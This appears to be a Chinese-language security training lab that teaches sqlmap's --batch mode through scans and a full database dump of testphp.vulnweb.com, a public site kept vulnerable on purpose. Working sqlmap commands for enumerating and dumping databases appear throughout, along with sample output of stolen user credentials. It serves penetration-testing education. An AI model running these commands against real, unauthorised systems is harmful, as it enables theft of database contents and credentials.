使用 sqlmap 的批处理模式自动化扫描

Kali LinuxBeginner
立即练习

引言

在本实验中,你将探索 sqlmap 的强大 --batch 模式功能。sqlmap 是一个流行的开源渗透测试工具,用于自动化检测和利用 SQL 注入漏洞的过程。虽然 sqlmap 默认是高度交互式的,经常在扫描过程中提示用户做出决策,但 --batch 模式允许你在无人值守的情况下运行扫描,自动选择所有提示的默认答案。这对于在脚本中自动化扫描或进行大规模评估(手动干预不切实际)尤其有用。你将学习交互式扫描和非交互式扫描之间的区别,执行一次手动扫描,然后利用 --batch 模式自动化该过程,包括完整的数据转储。

理解交互式与非交互式扫描

在本步骤中,你将理解 sqlmap 交互式扫描与非交互式扫描之间的根本区别。默认情况下,sqlmap 被设计为交互式的,这意味着它在扫描过程中会频繁暂停,询问用户关于各种决策的输入,例如是否继续进行特定测试、使用特定 payload 或利用某个漏洞。这种交互性提供了精细的控制,但对于自动化任务来说可能很麻烦。另一方面,非交互式扫描允许 sqlmap 在没有用户干预的情况下做出默认决策,使其适用于脚本编写和大规模自动化。

让我们首先检查 sqlmap 版本,以确保它已正确安装。

sqlmap --version

你应该会看到类似以下的输出,表明 sqlmap 已准备就绪:

sqlmap version: 1.x.x.x (rXXXX)

现在,让我们简要查看帮助菜单,了解 --batch 标志。

sqlmap --help | grep batch

你将看到类似以下的输出:

    --batch             Never ask for user input, use the default behavior.

这证实了 --batch 标志的存在及其用途。

手动运行扫描并回答提示

在本步骤中,你将在不使用 --batch 标志的情况下,对一个已知的易受攻击的 URL 执行基本的 sqlmap 扫描。这将演示 sqlmap 的交互式特性以及它在扫描过程中提出的各种提示。你需要手动回答这些提示才能继续扫描。

我们将使用一个公开可用的易受攻击的 URL 进行此演示。请注意,在实际场景中,你只能对你有明确测试许可的系统执行扫描。

执行以下 sqlmap 命令。请密切关注 sqlmap 提出的问题以及你需要如何回应。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"

随着扫描的进行,sqlmap 可能会问你几个问题。例如:

  • do you want to keep testing the others (if any)? [y/N] - 你可以按 N (No) 然后按 Enter
  • sqlmap detected that the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSs? [Y/n] - 你可以按 Y (Yes) 然后按 Enter
  • for the remaining tests, do you want to include all tests for 'MySQL', extend provided level and risk values? [Y/n] - 你可以按 Y (Yes) 然后按 Enter

确切的提示可能会根据 sqlmap 版本和目标的响应而有所不同。关键在于观察到 sqlmap 需要你的输入才能继续。

扫描完成后,sqlmap 将报告任何检测到的漏洞。

---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---

这种手动交互突显了自动化对于提高效率的重要性。

使用 --batch 标志自动回答默认选项

在本步骤中,你将重新运行 sqlmap 扫描,但这次会包含 --batch 标志。此标志指示 sqlmap 自动使用遇到的任何提示的默认答案,从而有效地使扫描变为非交互式。这对于脚本编写和自动化漏洞评估非常有用。

执行以下命令,添加 --batch 标志:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

观察输出。你会注意到 sqlmap 在没有暂停等待用户输入的情况下继续扫描。在上一步中出现的所有问题现在都自动以其默认值(通常根据上下文为“是”或“否”)进行了回答。

输出将连续进行,类似如下:

---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---

这展示了 --batch 模式在无人值守操作中的强大功能。

以批处理模式执行完整数据转储

在本步骤中,你将把 --batch 标志与其他 sqlmap 选项结合起来,执行一个更高级的操作:以全自动方式转储数据库中的所有数据。这展示了 --batch 模式如何在无需手动干预的情况下实现复杂利用任务。

我们将使用 --dbs(枚举数据库)、--tables(枚举表)、--columns(枚举列)和 --dump(转储条目)选项来提取信息。由于我们使用 --batchsqlmap 将自动确认与这些操作相关的任何提示。

首先,让我们尝试在批处理模式下枚举数据库:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

你应该会看到 sqlmap 自动识别数据库而无需请求确认。输出将列出找到的数据库,例如:

---
[XX:XX:XX] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
---

现在,让我们尝试转储 acuart 数据库中的所有数据。这将涉及枚举表,然后是列,最后转储数据。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --dump --batch

此命令将指示 sqlmap

  1. 目标为 acuart 数据库 (-D acuart)。
  2. 转储所有数据 (--dump)。
  3. 以批处理模式执行 (--batch),这意味着它将自动回答诸如“是否要转储所有表?”或“是否要将哈希值存储到文件中?”之类的提示。

输出将显示 sqlmap 枚举表、然后是列,最后转储数据,所有这些过程都没有任何提示。此过程可能需要一些时间,具体取决于数据量。

---
[XX:XX:XX] [INFO] fetching tables for database 'acuart'
[XX:XX:XX] [INFO] fetching columns for table 'users' in database 'acuart'
[XX:XX:XX] [INFO] dumping table 'users' of database 'acuart'
...
+----+----------+----------+----------+
| id | email    | password | uname    |
+----+----------+----------+----------+
| 1  | test@test.com | test     | test     |
| 2  | admin@admin.com | admin    | admin    |
...
+----+----------+----------+----------+
---

这展示了 sqlmap 在数据提取方面使用 --batch 模式的完整自动化能力。

查看无人值守扫描的结果

在最后一步中,你将查看使用 --batch 模式执行的无人值守扫描结果。sqlmap 将其发现(包括转储的数据)存储在指定的输出目录中。了解这些结果的存储位置对于后续的利用分析和报告至关重要。

默认情况下,sqlmap~/.sqlmap/output/ 目录中创建一个输出目录(如果以 root 用户身份运行,则为 /root/.sqlmap/output/,但在本实验中,它是 ~/.sqlmap/output/)。在此目录中,将有以目标主机命名的子目录。

首先,导航到 sqlmap 输出目录:

cd ~/.sqlmap/output/

现在,列出此目录的内容以查找目标主机的文件夹:

ls -F

你应该会看到一个名为 testphp.vulnweb.com/ 或类似的目录。

testphp.vulnweb.com/

进入目标目录:

cd testphp.vulnweb.com/

再次列出内容。你将找到包含扫描结果的各种文件和目录,包括日志文件、转储的数据以及其他可能的发现。

ls -F

你可能会看到类似 logsession.sqlite 的文件以及 dump/ 等目录。

dump/  log  session.sqlite  target.txt

现在,让我们查看 dump 目录以查看提取的数据:

ls -F dump/

你应该会看到 acuart 数据库的目录,其中包含与转储的表对应的文件(例如 users.csv)。

dump/acuart/

最后,你可以查看转储文件的内容,例如 users.csv 文件:

cat dump/acuart/users.csv

这将显示 sqlmapusers 表中提取的数据,确认你的自动化数据转储成功。

id,email,password,uname
1,test@test.com,test,test
2,admin@admin.com,admin,admin
...

至此,关于使用批处理模式自动化 sqlmap 扫描的实验结束。你已成功执行了交互式和非交互式扫描,并以自动化方式提取了数据。

总结

在本实验中,你获得了 sqlmap--batch 模式的实践经验,这是自动化 SQL 注入漏洞评估的关键功能。你首先理解了交互式扫描和非交互式扫描之间的区别,观察了 sqlmap 通常如何提示用户输入。然后,你成功地使用了 --batch 标志执行了扫描,展示了它如何通过自动提供所有提示的默认答案来简化流程。最后,你执行了自动化数据转储,并学会了如何定位和查看 sqlmap 存储在其输出目录中的结果。这些知识对于将 sqlmap 集成到自动化安全测试流程和进行高效的大规模漏洞分析至关重要。